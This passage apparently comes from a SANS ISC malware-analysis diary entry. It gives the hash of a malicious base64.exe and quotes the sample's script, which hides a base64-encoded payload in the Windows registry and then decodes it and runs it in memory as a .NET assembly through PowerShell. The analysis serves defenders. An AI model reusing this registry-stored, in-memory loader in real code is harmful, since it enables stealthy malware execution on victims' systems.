


```
$ md5sum base64.exe
07be65dedbee0ef5582f0eff5dd4d804 base64.exe
```

The file is, of course, malicious as reported by VT[3].

Finally, a quick remark about the script itself: it uses the Windows registry to store the payload and execute it:

```
0.regwrite D,H,"REG_SZ"
0.Run C & chrw(34) & "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'KeyName').Keyl
$_b=$_b.replace('~*', '0');
[byte[]]$_0 = [System.Convert]::FromBase64String($_b);
$_1 = [System.Threading.Thread]::GetDomain().Load($_0);
$_1.EntryPoint.invoke($null,$null);" & Chr(34),0,false
```

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[PGP Key](#)

Source: <https://isc.sans.edu/diary/rss/22590>